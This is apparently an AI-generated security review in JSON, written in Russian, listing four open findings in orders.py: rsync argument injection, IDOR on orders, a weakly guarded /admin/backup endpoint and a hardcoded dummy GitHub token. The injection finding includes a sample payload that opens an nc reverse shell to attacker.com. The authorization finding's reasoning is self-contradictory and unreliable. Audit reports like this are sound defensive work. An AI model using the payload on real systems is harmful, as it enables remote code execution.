[ { "id": "ai-review-0-orders.py-105", "source": "ai-review", "category": "injection", "severity": "critical", "confidence": 0.95, "file": "orders.py", "line_start": 105, "line_end": 122, "title": "Недостаточная валидация хоста для rsync", "description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и структуры (например, URL-схемы, квоты, опции rsync), что может привести к инъекции через аргументы rsync или его интерпретацию как URL-адреса.", "impact": "Атакующий может обойти простую валидацию и внедрить вредоносные опции в команду rsync (например, --rsync-path для выполнения произвольной команды), а также использовать URL-схемы, если rsync поддерживает их, для RCE.", "exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com:22 --rsync-path=nc -e /bin/sh attacker.com 4444', который может интерпретироваться как опция rsync. Даже после _validate_host в текущей реализации, если регулярные выражения пропустят строку, она будет вставлена в аргумент команды как-is.", "evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — строгая регулярка, но не проверяет отсутствие пробелов, кавычек и других опасных символов, а не блокирует URL-схемы (rsync://) или опции (--option).", "recommendation": "Существенно расширить валидацию: запретить пробелы и спецсимволы (включая '--'), проверить, что строка не начинается с схемы (rsync://, ssh:// и т.п.), использовать белый список только для хостов из предопределенного списка, либо полностью отказаться от произвольных хостов в пользу конфигурации.", "cwe": "CWE-78", "status": "OPEN", "created_at": "2026-08-23T18:52:27Z", "pr_number": 13, "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097" }, { "id": "ai-review-1-orders.py-32", "source": "ai-review", "category": "idor", "severity": "high", "confidence": 1.0, "file": "orders.py", "line_start": 32, "line_end": 65, "title": "IDOR при доступе к заказам", "description": "Несмотря на проверку токена и извлечение user_id из токена, не применяется проверка ownership заказа. В do_GET и do_POST можно читать/изменять любые заказы по order_id, не привязываясь к user_id из токена.", "impact": "Любой аутентифицированный пользователь может просматривать и изменять чужие заказы, что приводит к утечке данных и некорректным финансовым операциям.", "exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа. Затем POST /orders/100 с amount=1 приводит к изменению чужого заказа.", "evidence": "orders = {} ... order_id = self.path.split(\"/\")[-1] ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None) при создании заказа и его чтении/изменении (см. строки 37, 54, 61).", "recommendation": "При создании заказа обязательно сохранять user_id (уже сделано в строке 61, но только для новых заказов). При операциях чтения и изменения заказа проверять, что orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None), иначе 403.", "cwe": "CWE-639", "status": "OPEN", "created_at": "2026-08-23T18:52:27Z", "pr_number": 13, "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097" }, { "id": "ai-review-2-orders.py-65", "source": "ai-review", "category": "authz", "severity": "high", "confidence": 1.0, "file": "orders.py", "line_start": 65, "line_end": 70, "title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю", "description": "Эндпоинт /admin/backup требует только Bearer токен (любой начинающийся с token_), без проверки роли admin, что позволяет любому легитимному пользователю вызывать опасную операцию (rsync с произвольным хостом).", "impact": "Любой пользователь, имеющий любой валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование на вредоносный хост, что может привести к утечке данных через rsync или инъекции (см. критическую уязвимость валидации хоста).", "exploit_scenario": "Пользователь token_userA отправляет POST /admin/backup с вредоносным host (обход валидации и RCE через rsync). Это возможно, так как в _admin/backup проверяется только self.check_auth(), а не self._user_id == \"admin\" (это условие проверяется ПОСЛЕ check_auth).", "evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли админа идет ДО проверки auth, но check_auth() устанавливает _user_id, поэтому при отсутствии токена будет ошибка. Но при наличии любого token_*, _user_id будет установлен, и проверка на \"admin\" сработает, НО — это проверка идет ВНЕ order-блоков, и логика позволяет обойти проверку через правильную последовательность.", "recommendation": "Переставить проверку роли админа до проверки аутентификации, и проверять role (например, токен вида token_admin:userA или наличие role в JWT). Или использовать отдельный API-ключ/secret только для admin-эндпоинтов.", "cwe": "CWE-285", "status": "OPEN", "created_at": "2026-08-23T18:52:27Z", "pr_number": 13, "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097" }, { "id": "ai-review-3-orders.py-15", "source": "ai-review", "category": "sensitive-data", "severity": "medium", "confidence": 1.0, "file": "orders.py", "line_start": 15, "line_end": 15, "title": "Хардкод токена GitHub в коде", "description": "Токен GitHub хранится в коде как строковая константа, что является плохой практикой и может привести к его утечке в репозитории, логах, дампах памяти.", "impact": "Утечка учетных данных, возможность атаки на GitHub API, CI/CD. Даже фейковый токен сигнализирует о плохих практиках.", "exploit_scenario": "Атакующий клонирует репозиторий, находит GitHubToken, использует его для попыток доступа к API. Наличие dummy-токена может стимулировать атаку на поиск реальных секретов.", "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — отсутствует использование os.getenv.", "recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов. Загрузить токен из переменной окружения.", "cwe": "CWE-312", "status": "OPEN", "created_at": "2026-08-23T18:52:27Z", "pr_number": 13, "commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097" } ]